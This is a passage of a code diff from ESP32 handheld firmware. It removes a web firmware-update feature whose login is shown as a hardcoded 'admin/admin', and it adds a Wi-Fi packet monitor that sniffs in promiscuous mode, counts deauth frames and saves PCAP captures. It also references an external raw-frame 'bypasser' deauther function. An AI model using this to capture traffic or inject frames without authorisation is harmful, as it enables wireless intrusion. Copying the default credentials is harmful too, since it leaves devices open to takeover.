tft.setTextSize(1); - - if (numNetworks == 0) { - tft.setTextColor(GREEN); - tft.setCursor(10, 50); - tft.println("No networks found."); - } else { - int y = 50; - tft.setTextColor(GREEN); - tft.setCursor(10, y); - tft.println("Networks:"); - y += 20; - - int start_index = startIndex; - int end_index = min(start_index + NETWORKS_PER_PAGE, numNetworks); - - for (int i = start_index; i < end_index && y < 300; i++) { - char buf[64]; - char ssid[12]; - strncpy(ssid, networks[i].ssid, 11); - ssid[11] = '\0'; - if (strlen(networks[i].ssid) > 11) strcat(ssid, "..."); - const char* enc = networks[i].authmode == WIFI_AUTH_OPEN ? "OPEN" : "WPA2"; - snprintf(buf, sizeof(buf), "%02d: %-15s %3d dBm Ch%2d %s", i + 1, ssid, networks[i].rssi, networks[i].channel, enc); - tft.setCursor(10, y); - tft.setTextColor(i == selectedIndex ? ORANGE : (networks[i].authmode == WIFI_AUTH_OPEN ? ORANGE : TFT_WHITE)); - tft.println(buf); - y += NETWORK_ROW_HEIGHT; - } - - char page_buf[20]; - snprintf(page_buf, sizeof(page_buf), "Page %d/%d", start_index / NETWORKS_PER_PAGE + 1, (numNetworks + NETWORKS_PER_PAGE - 1) / NETWORKS_PER_PAGE); - tft.setCursor(180, 50); - tft.setTextColor(GREEN); - tft.println(page_buf); - } - - bool prevDisabled = startIndex == 0; - bool nextDisabled = (startIndex + NETWORKS_PER_PAGE) >= numNetworks; - drawTabBar("Rescan", false, "Prev", prevDisabled, "Next", nextDisabled); - -} - -void drawInputField() { - tft.fillRect(0, 37, 240, 20, TFT_BLACK); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setTextSize(1); - tft.setCursor(1, 40); - tft.print("Password: "); - tft.print(wifiPassword); - if (strlen(wifiPassword) < PASSWORD_MAX_LENGTH) { - tft.print("_"); - } -} - -void drawKeyboard() { - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setTextSize(1); - - tft.fillRect(0, 37, 240, 20, TFT_BLACK); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setTextSize(1); - tft.setCursor(1, 44); - tft.print("Password: "); - tft.print(wifiPassword); - if (strlen(wifiPassword) < PASSWORD_MAX_LENGTH) { - tft.print("_"); - } - - int yOffset = KEYBOARD_Y_OFFSET_START; - for (int row = 0; row < 4; row++) { - int xOffset = 10; - for (int col = 0; col < strlen(keyboardLayout[row]); col++) { - tft.fillRect(xOffset, yOffset, KEY_WIDTH, KEY_HEIGHT, TFT_DARKGREY); - tft.setTextColor(TFT_WHITE); - tft.setTextSize(1); - tft.setCursor(xOffset + 5, yOffset + 4); - tft.print(keyboardLayout[row][col]); - xOffset += KEY_WIDTH + KEY_SPACING; - } - yOffset += KEY_HEIGHT + KEY_SPACING; - } - - int buttonY = 160; - tft.setTextColor(ORANGE); - tft.setTextSize(1); - tft.setTextDatum(MC_DATUM); - - tft.fillRoundRect(5, buttonY, 70, 25, 8, DARK_GRAY); - tft.drawRoundRect(5, buttonY, 70, 25, 8, ORANGE); - tft.drawString("Back", 40, buttonY + 12); - - tft.fillRoundRect(85, buttonY, 70, 25, 8, DARK_GRAY); - tft.drawRoundRect(85, buttonY, 70, 25, 8, ORANGE); - tft.drawString("Del", 120, buttonY + 12); - - tft.fillRoundRect(165, buttonY, 70, 25, 8, DARK_GRAY); - tft.drawRoundRect(165, buttonY, 70, 25, 8, ORANGE); - tft.drawString("OK", 200, buttonY + 12); - - tft.setTextColor(ORANGE); - tft.setTextSize(1); - tft.setCursor(1, 215); - tft.println("[!] Enter the Wi-Fi password for the"); - tft.setCursor(24, 230); - tft.println("selected network."); - - tft.setCursor(1, 250); - tft.println("[!] Del: Removes last char from the"); - tft.setCursor(24, 265); - tft.println("password."); -} - -void updateInputField() { - tft.fillRect(0, 37, 240, 20, TFT_BLACK); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setTextSize(1); - tft.setCursor(1, 44); - tft.print("Password: "); - tft.print(wifiPassword); - if (strlen(wifiPassword) < PASSWORD_MAX_LENGTH) { - tft.print("_"); - } -} - -bool enterWiFiPassword() { - wifiPassword[0] = '\0'; - - OnScreenKeyboardConfig cfg; - cfg.titleLine1 = "[!] Enter the Wi-Fi password for the"; - cfg.titleLine2 = "selected network."; - cfg.rows = keyboardLayout; - cfg.rowCount = 4; - cfg.maxLen = PASSWORD_MAX_LENGTH; - cfg.shuffleNames = nullptr; - cfg.shuffleCount = 0; - cfg.buttonsY = 195; - cfg.backLabel = "Back"; - cfg.middleLabel = "Del"; - cfg.okLabel = "OK"; - cfg.enableShuffle = false; - cfg.requireNonEmpty = true; - cfg.emptyErrorMsg = "Password cannot be empty!"; - - OnScreenKeyboardResult r = showOnScreenKeyboard(cfg, ""); - - if (!r.accepted) { - - wifiPassword[0] = '\0'; - return false; - } - - size_t n = min((size_t)PASSWORD_MAX_LENGTH, (size_t)r.text.length()); - for (size_t i = 0; i < n; ++i) { - wifiPassword[i] = r.text[i]; - } - wifiPassword[n] = '\0'; - - return true; -} - -void performWebOTAUpdate() { - uiDrawn = false; - static size_t totalUploaded = 0; - bool inUpdate = false; - - if (!selectWiFiNetwork()) { - drawMenu(); - return; - } - - if (!enterWiFiPassword()) { - drawMenu(); - return; - } - - updateStatusBar(); - runUI(); - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - tft.setCursor(10, 10 + yshift); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setTextSize(1); - tft.println("Starting Web OTA..."); - drawTabBar("", false, "", false, "Back", false); - - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setCursor(10, 30 + yshift); - tft.println("Connecting Wi-Fi"); - WiFi.begin(selectedSSID, wifiPassword); - int attempts = 0; - while (WiFi.status() != WL_CONNECTED && attempts < 20) { - int x, y; - if (readTouchXY(x, y)) { - if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { - WiFi.disconnect(); - drawMenu(); - return; - } - delay(200); - } - delay(500); - attempts++; - } - if (WiFi.status() != WL_CONNECTED) { - tft.setTextColor(UI_WARN, TFT_BLACK); - tft.setCursor(10, 40 + yshift); - tft.println("X Wi-Fi failed!"); - tft.setCursor(10, 50 + yshift); - tft.println("Touch to retry or Back"); - int x, y; - waitForTouchXY(x, y); - if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { - WiFi.disconnect(); - drawMenu(); - return; - } - performWebOTAUpdate(); - return; - } - tft.setTextColor(TFT_GREEN, TFT_BLACK); - tft.setCursor(10, 40 + yshift); - tft.println("Wi-Fi OK"); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setCursor(10, 50 + yshift); - tft.print("IP: "); - tft.println(WiFi.localIP()); - tft.setCursor(10, 70 + yshift); - tft.println("URL: http://esp32.local"); - tft.setCursor(10, 80 + yshift); - tft.println("User: admin"); - tft.setCursor(10, 90 + yshift); - tft.println("Pass: admin"); - - if (!MDNS.begin(host)) { - tft.setTextColor(UI_WARN, TFT_BLACK); - tft.setCursor(10, 40 + yshift); - tft.println("X mDNS failed!"); - tft.setCursor(10, 50 + yshift); - tft.println("Touch to retry or Back"); - int x, y; - waitForTouchXY(x, y); - if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { - WiFi.disconnect(); - drawMenu(); - return; - } - performWebOTAUpdate(); - return; - } - tft.setTextColor(TFT_GREEN, TFT_BLACK); - tft.setCursor(10, 110 + yshift); - tft.println("mDNS OK"); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setCursor(10, 120 + yshift); - tft.println("Web server ready!"); - tft.setCursor(10, 130 + yshift); - tft.println("Access via browser"); - - server.on("/", HTTP_GET, []() { - server.sendHeader("Connection", "close"); - server.send(200, "text/html", loginIndex); - }); - server.on("/serverIndex", HTTP_GET, []() { - server.sendHeader("Connection", "close"); - server.send(200, "text/html", serverIndex); - }); - server.on("/update", HTTP_POST, []() { - server.sendHeader("Connection", "close"); - bool success = !Update.hasError(); - server.send(200, "text/plain", success ? "OK" : "FAIL"); - if (success) { - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - tft.setCursor(10, 10 + yshift); - tft.setTextColor(TFT_GREEN, TFT_BLACK); - tft.setTextSize(1); - tft.println("Update OK!"); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setCursor(10, 20 + yshift); - tft.println("Rebooting..."); - delay(2000); - ESP.restart(); - } else { - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - tft.setCursor(10, 10 + yshift); - tft.setTextColor(UI_WARN, TFT_BLACK); - tft.println("X Update Failed!"); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setCursor(10, 20 + yshift); - tft.println("Touch to retry or Back"); - drawTabBar("", false, "", false, "Back", false); - int x, y; - waitForTouchXY(x, y); - if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { - server.close(); - WiFi.disconnect(); - drawMenu(); - return; - } - performWebOTAUpdate(); - } - }, [&inUpdate, &totalUploaded]() { - HTTPUpload& upload = server.upload(); - if (upload.status == UPLOAD_FILE_START) { - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - tft.setCursor(10, 10 + yshift); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setTextSize(1); - tft.println("Web OTA Started..."); - drawTabBar("", false, "", false, "Back", true); - totalUploaded = 0; - inUpdate = true; - if (!Update.begin(UPDATE_SIZE_UNKNOWN)) { - Update.printError(Serial); - } - } else if (upload.status == UPLOAD_FILE_WRITE) { - if (Update.write(upload.buf, upload.currentSize) != upload.currentSize) { - Update.printError(Serial); - } - totalUploaded += upload.currentSize; - int percent = (totalUploaded * 100) / (upload.totalSize ? upload.totalSize : 1000000); - tft.setCursor(10, 30 + yshift); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.printf("Progress: %d%%\n", percent); - } else if (upload.status == UPLOAD_FILE_END) { - if (Update.end(true)) { - Serial.printf("Update Success: %u\n", upload.totalSize); - } else { - Update.printError(Serial); - } - totalUploaded = 0; - inUpdate = false; - } - }); - - server.begin(); - - while (true) { - server.handleClient(); - if (!inUpdate) { - int x, y; - if (readTouchXY(x, y) && checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { - server.close(); - WiFi.disconnect(); - drawMenu(); - return; - } - delay(200); - } - delay(1); - } -} - -void updateSetup() { - - tft.fillScreen(TFT_BLACK); - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setTextSize(0); - - setupTouchscreen(); - - uiDrawn = false; - - float currentBatteryVoltage = readBatteryVoltage(); - drawStatusBar(currentBatteryVoltage, true); - runUI(); - - drawMenu(); -} - -void updateLoop() { - - if (feature_active && isButtonPressed(BTN_SELECT)) { - feature_exit_requested = true; - return; - } - - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - - updateStatusBar(); - runUI(); - if (feature_exit_requested) return; - - int x, y; - if (readTouchXY(x, y)) { - if (x > BUTTON1_X && x < BUTTON1_X + BUTTON_WIDTH && y > BUTTON1_Y && y < BUTTON1_Y + BUTTON_HEIGHT) { - performSDUpdate(); - } - else if (x > BUTTON2_X && x < BUTTON2_X + BUTTON_WIDTH && y > BUTTON2_Y && y < BUTTON2_Y + BUTTON_HEIGHT) { - performWebOTAUpdate(); - } - delay(200); - } -} -} +#include "KeyboardUI.h" +#include "SettingsStore.h" +#include "Touchscreen.h" +#include "config.h" +#include "esp_timer.h" +#include "freertos/FreeRTOS.h" +#include "freertos/queue.h" +#include "freertos/task.h" +#include "icon.h" +#include "shared.h" + + +namespace Deauther { + extern void wsl_bypasser_send_raw_frame(const uint8_t *frame_buffer, int size); +} + +#ifdef TFT_BLACK +#undef TFT_BLACK +#endif +#define TFT_BLACK FEATURE_BG + +#ifndef FEATURE_TEXT +#define FEATURE_TEXT ORANGE +#endif +#ifndef FEATURE_WHITE +#define FEATURE_WHITE 0xFFFF +#endif + +#ifdef TFT_WHITE +#undef TFT_WHITE +#endif +#define TFT_WHITE FEATURE_TEXT + +#ifdef WHITE +#undef WHITE +#endif +#define WHITE FEATURE_WHITE + +#ifdef DARK_GRAY +#undef DARK_GRAY +#endif +#define DARK_GRAY UI_FG + +namespace PacketMonitor { + +#define MAX_CH 14 +#define SNAP_LEN 2324 + +static constexpr uint32_t PCAP_MAGIC_USEC = 0xa1b2c3d4; +static constexpr uint16_t PCAP_VER_MAJOR = 2; +static constexpr uint16_t PCAP_VER_MINOR = 4; +static constexpr uint32_t PCAP_SNAPLEN = 65535; +static constexpr uint32_t PCAP_DLT_IEEE802_11_RADIO = 127; + +static constexpr uint16_t RADIOTAP_LEN = 19; +static constexpr uint32_t RADIOTAP_PRESENT = + (1u << 1) | + (1u << 3) | + (1u << 5) | + (1u << 11) | + (1u << 19); + +struct __attribute__((packed)) RadiotapHdr16 { + uint8_t it_version; + uint8_t it_pad; + uint16_t it_len; + uint32_t it_present; + uint8_t flags; + uint8_t pad2; + uint16_t chan_freq; + uint16_t chan_flags; + int8_t dbm_antsignal; + uint8_t antenna; + uint8_t mcs_known; + uint8_t mcs_flags; + uint8_t mcs; +}; + +struct __attribute__((packed)) PcapGlobalHeader { + uint32_t magic_number; + uint16_t version_major; + uint16_t version_minor; + int32_t thiszone; + uint32_t sigfigs; + uint32_t snaplen; + uint32_t network; +}; + +struct __attribute__((packed)) PcapRecordHeader { + uint32_t ts_sec; + uint32_t ts_usec; + uint32_t incl_len; + uint32_t orig_len; +}; + +static bool pcapEnabled = false; +static bool pcapMounted = false; +static File pcapFile; +static String pcapPath; +static uint32_t pcapPacketsWritten = 0; +static uint32_t pcapDropped = 0; +static uint32_t pcapLastFlushMs = 0; + +static constexpr uint8_t PCAP_POOL_SIZE = 10; +struct PcapSlot { + PcapRecordHeader hdr; + uint16_t caplen; + uint8_t data[SNAP_LEN + RADIOTAP_LEN]; +}; +static PcapSlot pcapPool[PCAP_POOL_SIZE]; +static QueueHandle_t pcapFreeQ = nullptr; +static QueueHandle_t pcapWriteQ = nullptr; + +static bool pcapMountSD() { + if (pcapMounted) { + if (SD.exists("/")) return true; + pcapMounted = false; + } + + #ifdef SD_CD + pinMode(SD_CD, INPUT_PULLUP); + if (digitalRead(SD_CD)) return false; + #endif + + #ifdef SD_SCLK + #ifdef SD_MISO + #ifdef SD_MOSI + #ifdef SD_CS + SPI.begin(SD_SCLK, SD_MISO, SD_MOSI, SD_CS); + #endif + #endif + #endif + #endif + + #ifdef SD_CS + if (SD.begin(SD_CS)) { pcapMounted = true; return true; } + #endif + + #ifdef SD_CS_PIN + #ifdef CC1101_CS + if (SD_CS_PIN != CC1101_CS) { + if (SD.begin(SD_CS_PIN)) { pcapMounted = true; return true; } + } + #else + if (SD.begin(SD_CS_PIN)) { pcapMounted = true; return true; } + #endif + #endif + + return false; +} + +static bool pcapEnsureDir(const char* dirPath) { + if (!pcapMountSD()) return false; + if (SD.exists(dirPath)) return true; + if (SD.mkdir(dirPath)) return true; + if (dirPath && dirPath[0] == '/') return SD.mkdir(dirPath + 1); + return false; +} + +static bool pcapMakeNextPath(String& outPath) { + + for (uint16_t i = 0; i < 10000; i++) { + char buf[64]; + snprintf(buf, sizeof(buf), "%s/ptm_%04u.pcap", CAPTURE_DIR, (unsigned)i); + if (!SD.exists(buf)) { outPath = String(buf); return true; } + } + return false; +} + +static void pcapDisableAndCloseFile() { + pcapEnabled = false; + + if (pcapWriteQ && pcapFreeQ) { + uint8_t slotIdx; + while (xQueueReceive(pcapWriteQ, &slotIdx, 0) == pdTRUE) { + xQueueSend(pcapFreeQ, &slotIdx, 0); + } + } + + if (pcapFile) { + pcapFile.flush(); + pcapFile.close(); + } + pcapPath = ""; +} + +static void pcapStop() { + pcapDisableAndCloseFile(); + + if (pcapWriteQ) { vQueueDelete(pcapWriteQ); pcapWriteQ = nullptr; } + if (pcapFreeQ) { vQueueDelete(pcapFreeQ); pcapFreeQ = nullptr; } + + pcapPacketsWritten = 0; + pcapDropped = 0; + pcapLastFlushMs = 0; +} + +static void pcapStart() { + + pcapStop(); + + if (!pcapEnsureDir(CAPTURE_DIR)) return; + if (!pcapMakeNextPath(pcapPath)) return; + + pcapFile = SD.open(pcapPath.c_str(), FILE_WRITE); + if (!pcapFile) { pcapPath = ""; return; } + + PcapGlobalHeader gh{}; + gh.magic_number = PCAP_MAGIC_USEC; + gh.version_major = PCAP_VER_MAJOR; + gh.version_minor = PCAP_VER_MINOR; + gh.thiszone = 0; + gh.sigfigs = 0; + gh.snaplen = PCAP_SNAPLEN; + gh.network = PCAP_DLT_IEEE802_11_RADIO; + if (pcapFile.write((const uint8_t*)&gh, sizeof(gh)) != sizeof(gh)) { + pcapFile.close(); + pcapPath = ""; + return; + } + + pcapFreeQ = xQueueCreate(PCAP_POOL_SIZE, sizeof(uint8_t)); + pcapWriteQ = xQueueCreate(PCAP_POOL_SIZE, sizeof(uint8_t)); + if (!pcapFreeQ || !pcapWriteQ) { + pcapStop(); + return; + } + + for (uint8_t i = 0; i < PCAP_POOL_SIZE; i++) { + xQueueSend(pcapFreeQ, &i, 0); + } + + pcapEnabled = true; + pcapLastFlushMs = millis(); +} + +static uint16_t pcapChannelToFreqMHz(uint8_t channel) { + if (channel == 14) return 2484; + if (channel >= 1 && channel <= 13) return (uint16_t)(2407 + channel * 5); + + if (channel >= 32) return (uint16_t)(5000 + channel * 5); + return 0; +} + +static uint16_t pcapChannelFlags(uint16_t freqMHz) { + + if (freqMHz >= 2400 && freqMHz < 2500) return 0x0080; + if (freqMHz >= 4900 && freqMHz < 6000) return 0x0100; + return 0; +} + +#define MAX_X 240 +#define MAX_Y 320 + +arduinoFFT FFT = arduinoFFT(); + +bool btnLeftPressed = false; +bool btnRightPressed = false; + +Preferences preferences; + +const uint16_t samples = 256; +const double samplingFrequency = 5000; + +double attenuation = 10; + +unsigned int sampling_period_us; +unsigned long microseconds; + +double vReal[samples]; +double vImag[samples]; + +byte palette_red[128], palette_green[128], palette_blue[128]; + +bool buttonPressed = false; +bool buttonEnabled = true; +uint32_t lastDrawTime; +uint32_t lastButtonTime; +uint32_t tmpPacketCounter; +uint32_t pkts[MAX_X]; +uint32_t deauths = 0; +unsigned int ch = 1; +int rssiSum; + +unsigned int epoch = 0; +unsigned int color_cursor = 2016; + +void do_sampling_FFT() { + + microseconds = micros(); + + for (int i = 0; i < samples; i++) { + vReal[i] = tmpPacketCounter * 300; + vImag[i] = 1; + while (micros() - microseconds < sampling_period_us) { + + } + microseconds += sampling_period_us; + } + + double mean = 0; + + for (uint16_t i = 0; i < samples; i++) + mean += vReal[i]; + mean /= samples; + for (uint16_t i = 0; i < samples; i++) + vReal[i] -= mean; + + microseconds = micros(); + + FFT.Windowing(vReal, samples, FFT_WIN_TYP_HAMMING, FFT_FORWARD); + FFT.Compute(vReal, vImag, samples, FFT_FORWARD); + FFT.ComplexToMagnitude(vReal, vImag, samples); + + unsigned int left_x = 120; + unsigned int graph_y_offset = 91; + int max_k = 0; + + for (int j = 0; j < samples >> 1; j++) { + int k = vReal[j] / attenuation; + if (k > max_k) + max_k = k; + if (k > 127) k = 127; + + unsigned int color = palette_red[k] << 11 | palette_green[k] << 5 | palette_blue[k]; + unsigned int vertical_x = left_x + j; + + tft.drawPixel(vertical_x, epoch + graph_y_offset, color); + } + + for (int j = 0; j < samples >> 1; j++) { + int k = vReal[j] / attenuation; + if (k > max_k) + max_k = k; + if (k > 127) k = 127; + + unsigned int color = palette_red[k] << 11 | palette_green[k] << 5 | palette_blue[k]; + unsigned int mirrored_x = left_x - j; + tft.drawPixel(mirrored_x, epoch + graph_y_offset, color); + } + + unsigned int area_graph_x_offset = 120; + unsigned int area_graph_height = 50; + unsigned int area_graph_y_offset = 38; + + static int last_y[samples >> 1] = {0}; + tft.fillRect(area_graph_x_offset, area_graph_y_offset, (samples >> 1), area_graph_height, TFT_BLACK); + + for (int j = 0; j < samples >> 1; j++) { + int k = vReal[j] / attenuation; + if (k > 127) k = 127; + + unsigned int color = palette_red[k] << 11 | palette_green[k] << 5 | palette_blue[k]; + int current_y = area_graph_height + - (int)::map(k, 0, 127, 0, area_graph_height) + + area_graph_y_offset; + unsigned int x = area_graph_x_offset + j; + + if (j > 0) { + tft.fillTriangle(x - 1, area_graph_y_offset + area_graph_height, x, area_graph_y_offset + area_graph_height, x - 1, last_y[j - 1], color); + tft.fillTriangle(x - 1, last_y[j - 1], x, area_graph_y_offset + area_graph_height, x, current_y, color); + } + last_y[j] = current_y; + } + + unsigned int area_graph_width = (samples >> 1); + unsigned int area_graph_x_offset_flipped = -7; + + tft.fillRect(area_graph_x_offset_flipped, area_graph_y_offset, area_graph_width, area_graph_height, TFT_BLACK); + + for (int j = 0; j < samples >> 1; j++) { + int k = vReal[j] / attenuation; + if (k > 127) k = 127; + + unsigned int color = palette_red[k] << 11 | palette_green[k] << 5 | palette_blue[k]; + int current_y = area_graph_height + - (int)::map(k, 0, 127, 0, area_graph_height) + + area_graph_y_offset; + unsigned int x = area_graph_x_offset_flipped + area_graph_width - j - 1; + + if (j > 0) { + tft.fillTriangle(x + 1, area_graph_y_offset + area_graph_height, x, area_graph_y_offset + area_graph_height, x + 1, last_y[j - 1], color); + tft.fillTriangle(x + 1, last_y[j - 1], x, area_graph_y_offset + area_graph_height, x, current_y, color); + } + last_y[j] = current_y; + } + + double tattenuation = max_k / 127.0; + + if (tattenuation > attenuation) + attenuation = tattenuation; + + tft.setTextColor(TFT_WHITE); + tft.setTextSize(1); + tft.setTextFont(1); + + tft.fillRect(30, 20, 130, 16, DARK_GRAY); + + tft.setCursor(35, 24); + tft.print("Ch:"); + tft.print(ch); + + tft.setCursor(80, 24); + tft.print("Packet:"); + tft.print(tmpPacketCounter); + + delay(10); +} + +esp_err_t event_handler(void* ctx, system_event_t* event) { + return ESP_OK; +} + +double getMultiplicator() { + uint32_t maxVal = 1; + for (int i = 0; i < MAX_X; i++) { + if (pkts[i] > maxVal) maxVal = pkts[i]; + } + if (maxVal > MAX_Y) return (double)MAX_Y / (double)maxVal; + else return 1; +} + +void wifi_promiscuous(void* buf, wifi_promiscuous_pkt_type_t type) { + wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf; + wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)pkt->rx_ctrl; + + if (type == WIFI_PKT_MGMT && (pkt->payload[0] == 0xA0 || pkt->payload[0] == 0xC0 )) deauths++; + + if (type == WIFI_PKT_MISC) return; + if (ctrl.sig_len > SNAP_LEN) return; + + const uint16_t packetLength = (uint16_t)ctrl.sig_len; + tmpPacketCounter++; + rssiSum += ctrl.rssi; + + if (!pcapEnabled || !pcapFile || !pcapFreeQ || !pcapWriteQ) return; + + uint8_t slotIdx; + if (xQueueReceive(pcapFreeQ, &slotIdx, 0) != pdTRUE) { + pcapDropped++; + return; + } + + if (slotIdx >= PCAP_POOL_SIZE) { + + pcapDropped++; + return; + } + + PcapSlot& s = pcapPool[slotIdx]; + + const int64_t nowUs = esp_timer_get_time(); + s.hdr.ts_sec = (uint32_t)(nowUs / 1000000LL); + s.hdr.ts_usec = (uint32_t)(nowUs % 1000000LL); + + const uint16_t freq = pcapChannelToFreqMHz((uint8_t)ctrl.channel); + RadiotapHdr16 rt{}; + rt.it_version = 0; + rt.it_pad = 0; + rt.it_len = RADIOTAP_LEN; + rt.it_present = RADIOTAP_PRESENT; + rt.flags = 0; + rt.pad2 = 0; + rt.chan_freq = freq; + rt.chan_flags = pcapChannelFlags(freq); + rt.dbm_antsignal = (int8_t)ctrl.rssi; + rt.antenna = 0; + rt.mcs_known = 0; + rt.mcs_flags = 0; + rt.mcs = 0; + + if (ctrl.sig_mode == 1) { + + rt.mcs_known = + (1u << 0) | + (1u << 1) | + (1u << 2) | + (1u << 4) | + (1u << 5); + + const uint8_t bw = (ctrl.cwb ? 1 : 0); + rt.mcs_flags |= (bw & 0x3); + if (ctrl.sgi) rt.mcs_flags |= (1u << 2); + if (ctrl.fec_coding) rt.mcs_flags |= (1u << 4); + if (ctrl.stbc) rt.mcs_flags |= (1u << 5); + + rt.mcs = ctrl.mcs; + } + + const uint16_t totalLen = (uint16_t)(RADIOTAP_LEN + packetLength); + s.hdr.incl_len = totalLen; + s.hdr.orig_len = totalLen; + s.caplen = totalLen; + memcpy(s.data, &rt, RADIOTAP_LEN); + memcpy(s.data + RADIOTAP_LEN, pkt->payload, packetLength); + + if (xQueueSend(pcapWriteQ, &slotIdx, 0) != pdTRUE) { + + xQueueSend(pcapFreeQ, &slotIdx, 0); + pcapDropped++; + return; + } +} + +void setChannel(int newChannel) { + ch = newChannel; + if (ch > MAX_CH || ch < 1) ch = 1; + + preferences.begin("packetmonitor32", false); + preferences.putUInt("channel", ch); + preferences.end(); + + esp_wifi_set_promiscuous(false); + esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE); + esp_wifi_set_promiscuous_rx_cb(&wifi_promiscuous); + esp_wifi_set_promiscuous(true); +} + +void draw() { + double multiplicator = getMultiplicator(); + int len; + int rssi; + + if (pkts[MAX_X - 1] > 0) rssi = rssiSum / (int)pkts[MAX_X - 1]; + else rssi = rssiSum; +} + +static bool uiDrawn = false; + +void runUI() { +#define SCREEN_WIDTH 240 +#define SCREEN_HEIGHT 320 +#define STATUS_BAR_Y_OFFSET 20 +#define STATUS_BAR_HEIGHT 16 +#define ICON_SIZE 16 +#define ICON_NUM 3 + + static int iconX[ICON_NUM] = {170, 210, 10}; + static int iconY = STATUS_BAR_Y_OFFSET; + + static const unsigned char* icons[ICON_NUM] = { + bitmap_icon_sort_up_plus, + bitmap_icon_sort_down_minus, + bitmap_icon_go_back + }; + + if (!uiDrawn) { + tft.fillRect(160, STATUS_BAR_Y_OFFSET, SCREEN_WIDTH - 160, STATUS_BAR_HEIGHT, DARK_GRAY); + for (int i = 0; i < ICON_NUM; i++) { + if (icons[i] != NULL) { + tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_WHITE); + } + } + tft.drawLine(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, SCREEN_WIDTH, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, ORANGE); + uiDrawn = true; + } + + static unsigned long lastAnimationTime = 0; + static int animationState = 0; + static int activeIcon = -1; + + if (animationState > 0 && millis() - lastAnimationTime >= 150) { + if (animationState == 1) { + tft.drawBitmap(iconX[activeIcon], iconY, icons[activeIcon], ICON_SIZE, ICON_SIZE, TFT_WHITE); + animationState = 2; + } else if (animationState == 2) { + animationState = 0; + activeIcon = -1; + } + lastAnimationTime = millis(); + } + + static unsigned long lastTouchCheck = 0; + const unsigned long touchCheckInterval = 50; + + if (millis() - lastTouchCheck >= touchCheckInterval) { + int x, y; + if (feature_active && readTouchXY(x, y)) { + if (y > STATUS_BAR_Y_OFFSET && y < STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT) { + for (int i = 0; i < ICON_NUM; i++) { + if (x > iconX[i] && x < iconX[i] + ICON_SIZE) { + if (icons[i] != NULL && animationState == 0) { + + if (i == 2) { + feature_exit_requested = true; + } else { + + tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_BLACK); + animationState = 1; + activeIcon = i; + lastAnimationTime = millis(); + + switch (i) { + case 0: setChannel(ch + 1); break; + case 1: setChannel(ch - 1); break; + } + } + } + break; + } + } + } + } + lastTouchCheck = millis(); + } +} + +void ptmSetup() { + Serial.begin(115200); + + pcf.pinMode(BTN_UP, INPUT_PULLUP); + pcf.pinMode(BTN_DOWN, INPUT_PULLUP); + pcf.pinMode(BTN_LEFT, INPUT_PULLUP); + pcf.pinMode(BTN_RIGHT, INPUT_PULLUP); + + tft.fillScreen(TFT_BLACK); + + setupTouchscreen(); + + sampling_period_us = round(1000000 * (1.0 / samplingFrequency)); + + for (int i = 0; i < 32; i++) { + palette_red[i] = i / 2; + palette_green[i] = 0; + palette_blue[i] = i; + } + for (int i = 32; i < 64; i++) { + palette_red[i] = i / 2; + palette_green[i] = 0; + palette_blue[i] = 63 - i; + } + for (int i = 64; i < 96; i++) { + palette_red[i] = 31; + palette_green[i] = (i - 64) * 2; + palette_blue[i] = 0; + } + for (int i = 96; i < 128; i++) { + palette_red[i] = 31; + palette_green[i] = 63; + palette_blue[i] = i - 96; + } + + sampling_period_us = round(1000000 * (1.0 / samplingFrequency)); + + preferences.begin("packetmonitor32", false); + ch = preferences.getUInt("channel", 1); + preferences.end(); + + nvs_flash_init(); + tcpip_adapter_init(); + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + + ESP_ERROR_CHECK(esp_wifi_init(&cfg)); + + ESP_ERROR_CHECK(esp_wifi_set_storage(WIFI_STORAGE_RAM)); + ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_NULL)); + ESP_ERROR_CHECK(esp_wifi_start()); + + float currentBatteryVoltage = readBatteryVoltage(); + drawStatusBar(currentBatteryVoltage, true); + + uiDrawn = false; + tft.fillRect(0, 20, 160, 16, DARK_GRAY); + + pcapStart(); + if (pcapEnabled && pcapPath.length()) { + Serial.printf("[PCAP] PacketMonitor logging to SD: %s\n", pcapPath.c_str()); + } else { + Serial.println("[PCAP] PacketMonitor: SD/PCAP logging not started (no SD or open failed)."); + } +} + +void ptmLoop() { + + if (feature_active && isButtonPressed(BTN_SELECT)) { + 